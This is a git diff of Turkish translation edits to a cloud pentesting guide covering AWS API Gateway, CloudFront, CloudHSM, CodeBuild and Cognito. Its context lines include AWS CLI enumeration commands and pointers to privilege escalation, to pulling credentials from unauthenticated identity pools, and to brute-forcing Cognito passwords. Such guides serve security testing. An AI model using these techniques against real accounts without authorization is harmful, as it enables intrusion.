-Aşağıdaki örnekte **belirtilen IP'nin** `/resource_policy` uç noktasını GET ile çağırmasının mümkün olmadığı görülmektedir. +Aşağıdaki örnekte, **belirtilen IP'nin** `/resource_policy` uç noktasını GET ile çağırmasının mümkün olmadığı görülmektedir.
@@ -149,7 +149,7 @@ Başka bir yol, **Postman** içinde **`Authorization`** türü **`AWS Signature`
-Kullanmak istediğiniz hesabın accessKey ve SecretKey'lerini ayarlayın ve API uç noktasına karşı kimlik doğrulaması yapabilirsiniz. +Kullanmak istediğiniz hesabın accessKey ve SecretKey'sini ayarlayın ve API uç noktasına karşı kimlik doğrulaması yapabilirsiniz. Her iki yöntem de aşağıdaki gibi bir **Authorization** **header** oluşturacaktır: ``` @@ -157,7 +157,7 @@ AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/ ``` Not edin ki diğer durumlarda **Authorizer** **kötü kodlanmış** olabilir ve **Authorization header** içine **herhangi bir şey** göndermek **gizli içeriği görmeye** **izin verebilir**. -### Request Signing Using Python +### Python Kullanarak İstek İmzalama ```python pip install requests @@ -184,9 +184,9 @@ response = requests.get(url, auth=awsauth) print(response.text) ``` -### Özel Lambda Yetkilendirici +### Özel Lambda Yetkilendiricisi -Verilen bir token'a dayalı bir lambda kullanarak, kullanıcının **API uç noktasını çağırma yetkisine sahip olup olmadığını belirten bir IAM politikası** **döndürebilirsiniz**.\ +Verilen bir token'a dayalı olarak bir lambdanın **IAM politikası döndürmesi** ve kullanıcının **API uç noktasını çağırma yetkisine sahip olup olmadığını belirtmesi** mümkündür.\ Yetkilendiriciyi kullanacak her kaynak yöntemini ayarlayabilirsiniz.
@@ -244,19 +244,19 @@ Bunu şöyle çağırabilirsiniz: > [!WARNING] > Lambda koduna bağlı olarak, bu yetkilendirme zayıf olabilir -Eğer bir **reddetme politikası oluşturulup döndürülürse**, API Gateway tarafından döndürülen hata şudur: `{"Message":"User is not authorized to access this resource with an explicit deny"}` +Eğer bir **reddetme politikası oluşturulup dönerse**, API Gateway tarafından dönen hata şudur: `{"Message":"User is not authorized to access this resource with an explicit deny"}` Bu şekilde **bu yetkilendirmenin** mevcut olduğunu belirleyebilirsiniz. ### Gerekli API Anahtarı -API'ye erişmek için **geçerli bir API anahtarı** gerektiren API uç noktaları ayarlamak mümkündür. +API ile iletişim kurmak için **geçerli bir API anahtarı** gerektiren API uç noktaları ayarlamak mümkündür.
API Gateway portalında API anahtarları oluşturmak ve bunların ne kadar kullanılabileceğini (saniye başına istek ve ayda istek açısından) ayarlamak mümkündür. -Bir API anahtarının çalışması için, onu bir **Kullanım Planı**'na eklemeniz gerekir, bu kullanım planı **API Aşamasına** eklenmeli ve ilişkili API aşamasının, API anahtarını gerektiren **uç noktaya** yapılandırılmış bir **metot sınırlaması** olması gerekir: +Bir API anahtarının çalışması için, onu bir **Kullanım Planı**'na eklemeniz gerekir, bu kullanım planı **API Aşaması**'na eklenmeli ve ilişkili API aşamasının, API anahtarını gerektiren **uç noktaya** yapılandırılmış bir **metot sınırlaması** olması gerekir:
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md index 804e17edb..1865e2519 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md @@ -8,7 +8,7 @@ ACM'nin önemli bir özelliği, **sertifikaların otomatik yenilenmesidir**, bu da yönetim yükünü önemli ölçüde azaltır. Ayrıca, ACM, **iç kullanım için özel sertifikaların oluşturulması ve merkezi yönetimini** destekler. Elastic Load Balancing, Amazon CloudFront ve Amazon API Gateway gibi entegre AWS hizmetleri için SSL/TLS sertifikaları ACM aracılığıyla ek bir ücret ödenmeden sağlansa da, kullanıcılar uygulamalarının kullandığı AWS kaynaklarıyla ilgili maliyetlerden ve entegre ACM hizmetleri dışında kullanılan her **özel Sertifika Otoritesi (CA)** ve özel sertifika için aylık bir ücretten sorumludur. -**AWS Özel Sertifika Otoritesi**, özel sertifikaların yönetimini genişleterek ACM'nin yeteneklerini artıran bir **yönetilen özel CA hizmeti** olarak sunulmaktadır. Bu özel sertifikalar, bir organizasyon içindeki kaynakların kimlik doğrulamasında önemli bir rol oynamaktadır. +**AWS Özel Sertifika Otoritesi**, özel sertifikaların yönetimini içerecek şekilde ACM'nin yeteneklerini artırarak **yönetilen özel CA hizmeti** olarak sunulmaktadır. Bu özel sertifikalar, bir organizasyon içindeki kaynakların kimlik doğrulamasında önemli bir rol oynamaktadır. ## Sayım diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index 1fbd818ea..5e8d1f017 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,7 +4,7 @@ ## CloudFront -CloudFront, AWS'nin **statik ve dinamik içeriğinizin dağıtımını hızlandıran içerik dağıtım ağıdır**. Amazon CloudFront üzerinden barındırdığınız bir içerik talep ettiğinizde, talep en yakın kenar konumuna yönlendirilir ve bu da en düşük gecikme süresi ile en iyi performansı sağlar. **CloudFront erişim günlükleri** etkinleştirildiğinde, web sitenize ve dağıtımınıza erişim talep eden her kullanıcıdan gelen talepleri kaydedebilirsiniz. S3 erişim günlüklerinde olduğu gibi, bu günlükler de **kalıcı ve dayanıklı depolama için Amazon S3'te saklanır**. Günlük kaydını etkinleştirmek için herhangi bir ücret yoktur, ancak günlükler S3'te saklandığı için S3 tarafından kullanılan depolama için ücretlendirilirsiniz. +CloudFront, AWS'nin **statik ve dinamik içeriğinizin dağıtımını hızlandıran içerik dağıtım ağıdır**. Amazon CloudFront üzerinden barındırdığınız bir içerik talep ettiğinizde, talep en yakın kenar konumuna yönlendirilir ve bu, en düşük gecikmeyi sağlayarak en iyi performansı sunar. **CloudFront erişim günlükleri** etkinleştirildiğinde, web sitenize ve dağıtımınıza erişim talep eden her kullanıcıdan gelen talepleri kaydedebilirsiniz. S3 erişim günlüklerinde olduğu gibi, bu günlükler de **kalıcı ve dayanıklı depolama için Amazon S3'te saklanır**. Günlük kaydını etkinleştirmek için herhangi bir ücret yoktur, ancak günlükler S3'te saklandığı için S3 tarafından kullanılan depolama için ücretlendirilirsiniz. Günlük dosyaları, belirli bir süre boyunca veri toplar ve Amazon CloudFront'un o dağıtım için aldığı talep sayısına bağlı olarak oluşturulan günlük dosyası sayısı değişir. Bu günlük dosyalarının S3'te oluşturulmadığını veya yazılmadığını bilmek önemlidir. S3, yalnızca günlük dosyası dolduğunda teslim edildiği yerdir. **Amazon CloudFront, bu günlükleri S3'e teslim edilene kadar saklar**. Yine, bu günlük dosyalarının boyutuna bağlı olarak bu teslimat **bir ile 24 saat arasında** sürebilir. @@ -14,7 +14,7 @@ Günlük dosyaları, belirli bir süre boyunca veri toplar ve Amazon CloudFront' CloudFront'ta fonksiyonlar oluşturabilirsiniz. Bu fonksiyonların **cloudfront'ta** tanımlı bir **uç noktası** olacak ve belirtilen **NodeJS kodunu** çalıştıracaktır. Bu kod, AWS yönetimindeki bir makinede çalışan bir **sandbox** içinde çalışacaktır (altındaki işletim sistemine kaçmak için bir sandbox atlatma yöntemine ihtiyacınız olacak). -Fonksiyonlar kullanıcıların AWS hesaplarında çalışmadığı için, herhangi bir IAM rolü eklenmez, bu nedenle bu özelliği kötüye kullanarak doğrudan yetki yükseltme mümkün değildir. +Fonksiyonlar kullanıcıların AWS hesabında çalışmadığı için, herhangi bir IAM rolü eklenmez, bu nedenle bu özelliği kötüye kullanarak doğrudan yetki yükseltme mümkün değildir. ### Enumeration ```bash @@ -27,7 +27,7 @@ aws cloudfront get-function --name TestFunction function_code.js aws cloudfront list-distributions | jq ".DistributionList.Items[] | .Id, .Origins.Items[].Id, .Origins.Items[].DomainName, .AliasICPRecordals[].CNAME" ``` -## Kimlik Doğrulama Olmadan Erişim +## Kimlik Doğrulaması Olmayan Erişim {{#ref}} ../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index 11bf86109..70725504a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -4,43 +4,43 @@ ## HSM - Donanım Güvenlik Modülü -Cloud HSM, güvenli kriptografik anahtar depolama için FIPS 140 seviye iki onaylı **donanım cihazıdır** (CloudHSM'nin bir donanım cihazı olduğunu, sanallaştırılmış bir hizmet olmadığını unutmayın). 5.3.13 önceden yüklenmiş bir SafeNetLuna 7000 cihazıdır. İki yazılım sürümü vardır ve hangisini seçeceğiniz tam olarak ihtiyaçlarınıza bağlıdır. Biri FIPS 140-2 uyumluluğu içindir ve kullanılabilecek daha yeni bir sürüm vardır. +Cloud HSM, güvenli kriptografik anahtar depolama için FIPS 140 seviye iki onaylı **donanım cihazıdır** (CloudHSM'nin bir donanım cihazı olduğunu unutmayın, sanallaştırılmış bir hizmet değildir). 5.3.13 önceden yüklenmiş SafeNetLuna 7000 cihazıdır. İki yazılım sürümü vardır ve hangisini seçeceğiniz tam olarak ihtiyaçlarınıza bağlıdır. Biri FIPS 140-2 uyumluluğu içindir ve kullanılabilecek daha yeni bir sürüm vardır. -CloudHSM'nin alışılmadık özelliği, fiziksel bir cihaz olmasıdır ve bu nedenle **diğer müşterilerle paylaşılmaz**, ya da yaygın olarak ifade edildiği gibi, çok kiracılı değildir. Sadece sizin iş yüklerinize özel olarak sunulan tek kiracılı bir cihazdır. +CloudHSM'nin alışılmadık özelliği, fiziksel bir cihaz olmasıdır ve bu nedenle **diğer müşterilerle paylaşılmaz**, ya da yaygın olarak ifade edildiği gibi, çok kiracılı değildir. Sadece sizin iş yüklerinize özel olarak sunulan tek kiracı cihazdır. Tipik olarak, bir cihaz 15 dakika içinde mevcut olur, kapasite varsa, ancak bazı bölgelerde bu mümkün olmayabilir. -Bu sizin için ayrılmış fiziksel bir cihaz olduğundan, **anahtarlar cihazda depolanır**. Anahtarlar ya **başka bir cihaza kopyalanmalı**, çevrimdışı depolama alanına yedeklenmeli veya bir yedek cihazına aktarılmalıdır. **Bu cihaz, S3 veya KMS gibi AWS'deki herhangi bir hizmetle desteklenmez.** +Bu, size özel bir fiziksel cihaz olduğundan, **anahtarlar cihazda depolanır**. Anahtarlar ya **başka bir cihaza kopyalanmalı**, çevrimdışı depolama alanına yedeklenmeli veya bir yedek cihazına aktarılmalıdır. **Bu cihaz, S3 veya KMS gibi AWS'deki herhangi bir hizmetle desteklenmez.** **CloudHSM'de**, **hizmeti kendiniz ölçeklendirmeniz gerekir**. Çözümünüz için uygulamak istediğiniz şifreleme algoritmalarına dayalı olarak, şifreleme ihtiyaçlarınızı karşılamak için yeterli CloudHSM cihazı sağlamanız gerekir.\ Anahtar Yönetim Hizmeti ölçeklendirmesi AWS tarafından gerçekleştirilir ve talep üzerine otomatik olarak ölçeklenir, bu nedenle kullanımınız arttıkça, gereken CloudHSM cihazlarının sayısı da artabilir. Çözümünüzü ölçeklendirirken bunu aklınızda bulundurun ve çözümünüz otomatik ölçeklendirme içeriyorsa, maksimum ölçeğinizin çözümü hizmet verecek kadar CloudHSM cihazı ile hesaplandığından emin olun. -Ölçeklendirme gibi, **performans CloudHSM ile size bağlıdır**. Performans, hangi şifreleme algoritmasının kullanıldığına ve anahtarları şifrelemek için ne sıklıkla erişmeniz gerektiğine bağlı olarak değişir. Anahtar yönetim hizmetinin performansı Amazon tarafından yönetilir ve talep gerektikçe otomatik olarak ölçeklenir. CloudHSM'nin performansı daha fazla cihaz ekleyerek elde edilir ve daha fazla performansa ihtiyacınız varsa ya cihaz eklemelisiniz ya da daha hızlı bir algoritmaya şifreleme yöntemini değiştirmelisiniz. +Ölçeklendirme gibi, **performans CloudHSM ile size bağlıdır**. Performans, hangi şifreleme algoritmasının kullanıldığına ve anahtarları şifrelemek için ne sıklıkla erişmeniz veya geri almanız gerektiğine bağlı olarak değişir. Anahtar yönetim hizmetinin performansı Amazon tarafından yönetilir ve talep gerektikçe otomatik olarak ölçeklenir. CloudHSM'nin performansı daha fazla cihaz ekleyerek elde edilir ve daha fazla performansa ihtiyacınız varsa ya cihaz ekler ya da daha hızlı bir algoritmaya şifreleme yöntemini değiştirirsiniz. -Çözümünüz **çok bölgeli** ise, ikinci bölgede birkaç **CloudHSM cihazı eklemeli ve bağlantının her katmanında trafiğin her zaman korunduğundan emin olmak için özel bir VPN bağlantısı** veya başka bir yöntemle bölge arası bağlantıyı sağlamalısınız. Çok bölgeli bir çözümünüz varsa, **anahtarları nasıl çoğaltacağınızı ve faaliyet gösterdiğiniz bölgelerde ek CloudHSM cihazları kurmayı düşünmelisiniz**. Çok hızlı bir şekilde, altı veya sekiz cihazın birden fazla bölgeye yayılmış olduğu bir senaryoya girebilirsiniz ve bu, şifreleme anahtarlarınızın tam yedekliliğini sağlar. +Eğer çözümünüz **çok bölgeli** ise, ikinci bölgede birkaç **CloudHSM cihazı eklemeli ve özel bir VPN bağlantısı ile bölge arası bağlantıyı sağlamalısınız** veya cihazlar arasındaki trafiğin her katmanda her zaman korunduğundan emin olmalısınız. Çok bölgeli bir çözümünüz varsa, **anahtarları nasıl çoğaltacağınızı ve faaliyet gösterdiğiniz bölgelerde ek CloudHSM cihazları kurmayı düşünmelisiniz**. Çok hızlı bir şekilde, altı veya sekiz cihazın birden fazla bölgeye yayılmış olduğu bir senaryoya girebilirsiniz ve bu, şifreleme anahtarlarınızın tam yedekliliğini sağlar. **CloudHSM**, güvenli anahtar depolama için kurumsal sınıf bir hizmettir ve **bir işletme için güvenilirlik kökü** olarak kullanılabilir. PKI'de özel anahtarları ve X509 uygulamalarında sertifika otoritesi anahtarlarını depolayabilir. AES gibi simetrik algoritmalarda kullanılan simetrik anahtarların yanı sıra, **KMS yalnızca simetrik anahtarları depolar ve fiziksel olarak korur (sertifika otoritesi olarak hareket edemez)**, bu nedenle PKI ve CA anahtarlarını depolamanız gerekiyorsa bir veya iki CloudHSM çözümünüz olabilir. -**CloudHSM, Anahtar Yönetim Hizmetinden önemli ölçüde daha pahalıdır**. CloudHSM bir donanım cihazıdır, bu nedenle CloudHSM cihazını sağlamak için sabit maliyetleriniz vardır, ardından cihazı çalıştırmak için saatlik bir maliyet vardır. Maliyet, belirli gereksinimlerinizi karşılamak için gereken CloudHSM cihazlarının sayısı ile çarpılır.\ -Ayrıca, SafeNet ProtectV yazılım paketleri gibi üçüncü taraf yazılımların satın alınmasında çapraz değerlendirme yapılmalıdır ve entegrasyon süresi ve çabası göz önünde bulundurulmalıdır. Anahtar Yönetim Hizmeti, kullanım bazlıdır ve sahip olduğunuz anahtar sayısına ve giriş-çıkış işlemlerine bağlıdır. Anahtar yönetimi, birçok AWS hizmeti ile sorunsuz entegrasyon sağladığından, entegrasyon maliyetleri önemli ölçüde daha düşük olmalıdır. Maliyetler, şifreleme çözümlerinde ikincil bir faktör olarak düşünülmelidir. Şifreleme genellikle güvenlik ve uyumluluk için kullanılır. +**CloudHSM, Anahtar Yönetim Hizmetinden önemli ölçüde daha pahalıdır.** CloudHSM bir donanım cihazıdır, bu nedenle CloudHSM cihazını sağlamak için sabit maliyetleriniz vardır, ardından cihazı çalıştırmak için saatlik bir maliyet vardır. Maliyet, belirli gereksinimlerinizi karşılamak için gereken CloudHSM cihazlarının sayısı ile çarpılır.\ +Ayrıca, SafeNet ProtectV yazılım paketleri gibi üçüncü taraf yazılımların satın alınmasında ve entegrasyon süresi ve çabasında çapraz değerlendirme yapılmalıdır. Anahtar Yönetim Hizmeti, kullanım bazlıdır ve sahip olduğunuz anahtar sayısına ve giriş-çıkış işlemlerine bağlıdır. Anahtar yönetimi, birçok AWS hizmeti ile sorunsuz entegrasyon sağladığından, entegrasyon maliyetleri önemli ölçüde daha düşük olmalıdır. Maliyetler, şifreleme çözümlerinde ikincil bir faktör olarak düşünülmelidir. Şifreleme genellikle güvenlik ve uyumluluk için kullanılır. -**CloudHSM ile yalnızca siz anahtarlara erişim sağlarsınız** ve fazla detaya girmeden, CloudHSM ile kendi anahtarlarınızı yönetirsiniz. **KMS ile, anahtarlarınızı siz ve Amazon birlikte yönetirsiniz**. AWS, kötüye kullanıma karşı birçok politika korumasına sahiptir ve **her iki çözümde de anahtarlarınıza erişemez**. Anahtar sahipliği ve yönetimi ile ilgili uyumluluk açısından ana ayrım, CloudHSM'nin sizin ve yalnızca sizin erişiminizle yönettiğiniz bir donanım cihazı olmasıdır. +**CloudHSM ile yalnızca siz anahtarlara erişim sağlarsınız** ve fazla detaya girmeden, CloudHSM ile kendi anahtarlarınızı yönetirsiniz. **KMS ile, anahtarlarınızı siz ve Amazon birlikte yönetirsiniz.** AWS, kötüye kullanıma karşı birçok politika korumasına sahiptir ve **her iki çözümde de anahtarlarınıza erişemez.** Anahtar sahipliği ve yönetimi ile ilgili uyumluluk açısından ana ayrım, CloudHSM'nin sizin ve yalnızca sizin erişiminiz olan bir donanım cihazı olmasıdır. ### CloudHSM Önerileri 1. Her zaman CloudHSM'yi en az iki cihazla **HA yapılandırmasında** dağıtın ve mümkünse, AWS'de başka bir bölgede ya da yerel olarak üçüncü bir cihaz dağıtın. -2. **CloudHSM'yi başlatırken** dikkatli olun. Bu işlem **anahtarları yok edecektir**, bu nedenle ya anahtarların başka bir kopyasına sahip olun ya da bu anahtarları herhangi bir veriyi şifrelemek için asla, asla kullanmayacağınızdan kesinlikle emin olun. +2. **CloudHSM'yi başlatırken dikkatli olun.** Bu işlem **anahtarları yok edecektir**, bu nedenle ya anahtarların başka bir kopyasına sahip olun ya da bu anahtarları herhangi bir veriyi şifrelemek için asla, asla kullanmayacağınızdan emin olun. 3. CloudHSM yalnızca **belirli yazılım sürümlerini** ve yazılımları destekler. Herhangi bir güncelleme yapmadan önce, yazılımın ve/veya yazılımın AWS tarafından desteklendiğinden emin olun. Güncelleme kılavuzu belirsizse her zaman AWS desteği ile iletişime geçebilirsiniz. -4. **Ağ yapılandırması asla değiştirilmemelidir.** Unutmayın, bu bir AWS veri merkezindedir ve AWS, temel donanımı sizin için izlemektedir. Bu, donanım arızalanırsa, sizin için değiştirecekleri anlamına gelir, ancak yalnızca arızalandığını bilirlerse. +4. **Ağ yapılandırması asla değiştirilmemelidir.** Unutmayın, bu bir AWS veri merkezindedir ve AWS sizin için temel donanımı izlemektedir. Bu, donanım arızalanırsa, sizin için değiştirecekleri anlamına gelir, ancak yalnızca arızalandığını bilirlerse. 5. **SysLog yönlendirmesi kaldırılmamalı veya değiştirilmemelidir.** Her zaman **SysLog yönlendiricisi ekleyebilir** ve günlükleri kendi toplama aracınıza yönlendirebilirsiniz. -6. **SNMP** yapılandırması, ağ ve SysLog klasörü ile aynı temel kısıtlamalara sahiptir. Bu **değiştirilmemeli veya kaldırılmamalıdır**. Ek bir SNMP yapılandırması uygundur, yalnızca cihazda zaten bulunanı değiştirmediğinizden emin olun. -7. AWS'den başka bir ilginç en iyi uygulama, **NTP yapılandırmasını değiştirmemektir**. Ne olacağı belirsizdir, bu nedenle çözümünüzün geri kalanında aynı NTP yapılandırmasını kullanmazsanız iki zaman kaynağına sahip olabileceğinizi unutmayın. Bunu aklınızda bulundurun ve CloudHSM'nin mevcut NTP kaynağı ile kalması gerektiğini bilin. +6. **SNMP** yapılandırması, ağ ve SysLog klasörü ile aynı temel kısıtlamalara sahiptir. Bu **değiştirilmemeli veya kaldırılmamalıdır.** Ek bir SNMP yapılandırması uygundur, yalnızca cihazda zaten bulunanı değiştirmediğinizden emin olun. +7. AWS'den başka bir ilginç en iyi uygulama, **NTP yapılandırmasını değiştirmemektir.** Ne olacağı belirsizdir, bu nedenle çözümünüzün geri kalanında aynı NTP yapılandırmasını kullanmazsanız iki zaman kaynağınız olabilir. Bunu aklınızda bulundurun ve CloudHSM'nin mevcut NTP kaynağı ile kalması gerektiğini bilin. -CloudHSM için başlangıçta donanım cihazını tahsis etmek için 5,000 $ ücret alınır, ardından CloudHSM'yi çalıştırmak için saatlik bir ücret vardır ve bu şu anda saatte 1.88 $ veya ayda yaklaşık 1,373 $'dır. +CloudHSM için başlangıçta donanım cihazını tahsis etmek için 5,000 $ ücret alınır, ardından CloudHSM'yi çalıştırmak için saatlik bir ücret vardır, bu da şu anda saat başına 1.88 $ veya aylık yaklaşık 1,373 $'dır. -CloudHSM'yi kullanmanın en yaygın nedeni, uyum standartlarıdır ve bunları düzenleyici nedenlerle karşılamanız gerekir. **KMS, asimetrik anahtarlar için veri desteği sunmaz. CloudHSM, asimetrik anahtarları güvenli bir şekilde depolamanıza izin verir.** +CloudHSM'yi kullanmanın en yaygın nedeni, uyum standartlarıdır ve bu standartlara uymanız gerekmektedir. **KMS, asimetrik anahtarlar için veri desteği sunmaz. CloudHSM, asimetrik anahtarları güvenli bir şekilde depolamanıza olanak tanır.** -**Açık anahtar, CloudHSM örneği sağlanırken HSM cihazına yüklenir** böylece CloudHSM örneğine SSH ile erişebilirsiniz. +**Açık anahtar, sağlama sırasında HSM cihazına yüklenir** böylece CloudHSM örneğine SSH ile erişebilirsiniz. ### Donanım Güvenlik Modülü Nedir @@ -56,7 +56,7 @@ Bir HSM'nin çalışma şekli, belirli model ve üreticiye bağlı olarak deği HSM'ler, güvenli çevrimiçi işlemler, dijital sertifikalar, güvenli iletişim ve veri şifreleme gibi çok çeşitli uygulamalar için kullanılabilir. Genellikle finans, sağlık ve hükümet gibi yüksek güvenlik gerektiren endüstrilerde kullanılır. -Genel olarak, HSM'lerin sağladığı yüksek güvenlik seviyesi, **ham anahtarların onlardan çıkarılmasını çok zor hale getirir ve bunu denemek genellikle bir güvenlik ihlali olarak kabul edilir**. Ancak, belirli **senaryolar** altında, **ham bir anahtarın** belirli amaçlar için yetkili personel tarafından çıkarılması mümkün olabilir, örneğin bir anahtar kurtarma prosedürü durumunda. +Genel olarak, HSM'lerin sağladığı yüksek güvenlik seviyesi, **ham anahtarların onlardan çıkarılmasını çok zor hale getirir ve bunu denemek genellikle bir güvenlik ihlali olarak kabul edilir.** Ancak, belirli **senaryolar** altında, **ham bir anahtarın** belirli amaçlar için yetkili personel tarafından çıkarılması mümkün olabilir, örneğin bir anahtar kurtarma prosedürü durumunda. ### Sayım ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index ccd407eb5..648fede78 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -4,7 +4,7 @@ ## CodeBuild -AWS **CodeBuild**, **tam yönetilen sürekli entegrasyon hizmeti** olarak tanınmaktadır. Bu hizmetin temel amacı, kaynak kodunu derleme, testleri yürütme ve yazılımı dağıtım amaçları için paketleme sürecini otomatikleştirmektir. CodeBuild'in sunduğu en önemli avantaj, kullanıcıların kendi derleme sunucularını sağlama, yönetme ve ölçeklendirme gereksinimini ortadan kaldırma yeteneğidir. Bu kolaylık, hizmetin kendisinin bu görevleri yönetmesindendir. AWS CodeBuild'in temel özellikleri şunlardır: +AWS **CodeBuild**, **tam yönetilen sürekli entegrasyon hizmeti** olarak tanınmaktadır. Bu hizmetin temel amacı, kaynak kodunu derleme, testleri yürütme ve yazılımı dağıtım amaçları için paketleme sürecini otomatikleştirmektir. CodeBuild'in sunduğu en önemli avantaj, kullanıcıların kendi derleme sunucularını sağlama, yönetme ve ölçeklendirme gereksiniminden kurtulmasıdır. Bu kolaylık, hizmetin kendisinin bu görevleri yönetmesindendir. AWS CodeBuild'in temel özellikleri şunlardır: 1. **Yönetilen Hizmet**: CodeBuild, derleme sunucularını yönetir ve ölçeklendirir, kullanıcıları sunucu bakımından kurtarır. 2. **Sürekli Entegrasyon**: Geliştirme ve dağıtım iş akışıyla entegre olur, yazılım sürüm sürecinin derleme ve test aşamalarını otomatikleştirir. @@ -16,7 +16,7 @@ AWS CodeBuild, diğer AWS hizmetleriyle sorunsuz bir şekilde entegre olur, CI/C #### **Varsayılan kaynak kimlik bilgileri** -Bu, bazı **erişimlerin** (bir Github token'ı veya uygulaması gibi) yapılandırılabileceği eski bir seçenektir ve bu erişimler **codebuild projeleri arasında paylaşılabilir**, böylece tüm projeler bu yapılandırılmış kimlik bilgilerini kullanabilir. +Bu, bazı **erişim** (bir Github token'ı veya uygulaması gibi) yapılandırmanın mümkün olduğu eski seçenektir ve bu yapılandırılmış kimlik bilgileri tüm codebuild projeleri arasında **paylaşılacaktır**. Saklanan kimlik bilgileri (token'lar, şifreler...) **codebuild tarafından yönetilmektedir** ve bunları AWS API'lerinden almak için herhangi bir kamuya açık yol yoktur. @@ -24,7 +24,7 @@ Saklanan kimlik bilgileri (token'lar, şifreler...) **codebuild tarafından yön Depo platformuna (Github, Gitlab ve Bitbucket) bağlı olarak farklı seçenekler sunulmaktadır. Ancak genel olarak, **bir token veya şifre saklamayı gerektiren herhangi bir seçenek, bunu gizli bir şekilde saklayacaktır**. -Bu, **farklı codebuild projelerinin, yalnızca yapılandırılmış varsayılan olanı kullanmak yerine, sağlayıcılara farklı yapılandırılmış erişimler kullanmasına olanak tanır**. +Bu, **farklı codebuild projelerinin sağlayıcılara farklı yapılandırılmış erişimleri kullanmasına** olanak tanır, sadece yapılandırılmış varsayılan olanı kullanmak yerine. ### Enumeration ```bash @@ -49,7 +49,7 @@ aws codebuild describe-test-cases --report-arn ``` ### Privesc -Aşağıdaki sayfada, **yetkileri artırmak için codebuild izinlerini nasıl kötüye kullanacağınızı** kontrol edebilirsiniz: +Aşağıdaki sayfada, **codebuild izinlerini kötüye kullanarak ayrıcalıkları artırma** yöntemini kontrol edebilirsiniz: {{#ref}} ../aws-privilege-escalation/aws-codebuild-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index 7f9f91480..d92188b52 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -4,16 +4,16 @@ ## Cognito -Amazon Cognito, web ve mobil uygulamalarda **kimlik doğrulama, yetkilendirme ve kullanıcı yönetimi** için kullanılır. Kullanıcılara, doğrudan **kullanıcı adı ve şifre** kullanarak veya Facebook, Amazon, Google veya Apple gibi bir **üçüncü taraf** aracılığıyla oturum açma esnekliği sağlar. +Amazon Cognito, web ve mobil uygulamalarda **kimlik doğrulama, yetkilendirme ve kullanıcı yönetimi** için kullanılır. Kullanıcılara, doğrudan **kullanıcı adı ve şifre** ile veya Facebook, Amazon, Google veya Apple gibi bir **üçüncü taraf** aracılığıyla oturum açma esnekliği sağlar. Amazon Cognito'nun merkezinde iki ana bileşen bulunmaktadır: 1. **Kullanıcı Havuzları**: Bu, uygulama kullanıcılarınız için tasarlanmış dizinlerdir ve **kayıt olma ve oturum açma işlevselliği** sunar. -2. **Kimlik Havuzları**: Bu havuzlar, **kullanıcıların farklı AWS hizmetlerine erişimini yetkilendirmede** önemlidir. Oturum açma veya kayıt olma sürecine doğrudan dahil değildirler, ancak kimlik doğrulama sonrası kaynak erişimi için kritik öneme sahiptirler. +2. **Kimlik Havuzları**: Bu havuzlar, **kullanıcıların farklı AWS hizmetlerine erişimini yetkilendirmede** önemli bir rol oynar. Oturum açma veya kayıt olma sürecine doğrudan dahil değildirler, ancak kimlik doğrulama sonrası kaynak erişimi için kritik öneme sahiptirler. ### **Kullanıcı havuzları** -Bir **Cognito Kullanıcı Havuzu kontrolü** öğrenmek için: +Bir **Cognito Kullanıcı Havuzu** nedir öğrenmek için kontrol edin: {{#ref}} cognito-user-pools.md @@ -21,7 +21,7 @@ cognito-user-pools.md ### **Kimlik havuzları** -Bir **Cognito Kimlik Havuzu kontrolü** öğrenmek için: +Bir **Cognito Kimlik Havuzu** nedir öğrenmek için kontrol edin: {{#ref}} cognito-identity-pools.md @@ -71,15 +71,15 @@ aws cognito-idp get-user-pool-mfa-config --user-pool-id ## Get risk configuration aws cognito-idp describe-risk-configuration --user-pool-id ``` -### Kimlik Havuzları - Kimlik Doğrulaması Olmayan Sayım +### Kimlik Havuzları - Kimlik Doğrulaması Olmayan Enumerasyon Sadece **Kimlik Havuzu ID'sini bilerek**, **kimlik doğrulaması olmayan** kullanıcılarla ilişkili rolün **kimlik bilgilerini alabilirsiniz** (varsa). [**Buradan nasıl yapılacağını kontrol edin**](cognito-identity-pools.md#accessing-iam-roles). -### Kullanıcı Havuzları - Kimlik Doğrulaması Olmayan Sayım +### Kullanıcı Havuzları - Kimlik Doğrulaması Olmayan Enumerasyon -Cognito içinde **geçerli bir kullanıcı adını** bilmiyorsanız bile, **geçerli** **kullanıcı adlarını** **sayabilir**, **şifreleri** **kaba kuvvet** ile deneyebilir veya sadece **Uygulama istemci ID'sini** bilerek **yeni bir kullanıcı kaydedebilirsiniz** (genellikle kaynak kodunda bulunur). [**Buradan nasıl yapılacağını kontrol edin**](cognito-user-pools.md#registration)**.** +Cognito içinde **geçerli bir kullanıcı adını** bilmiyorsanız bile, **geçerli** **kullanıcı adlarını** **enumerate** edebilir, **şifreleri** **BF** yapabilir veya sadece **Uygulama istemci ID'sini** bilerek **yeni bir kullanıcı kaydedebilirsiniz** 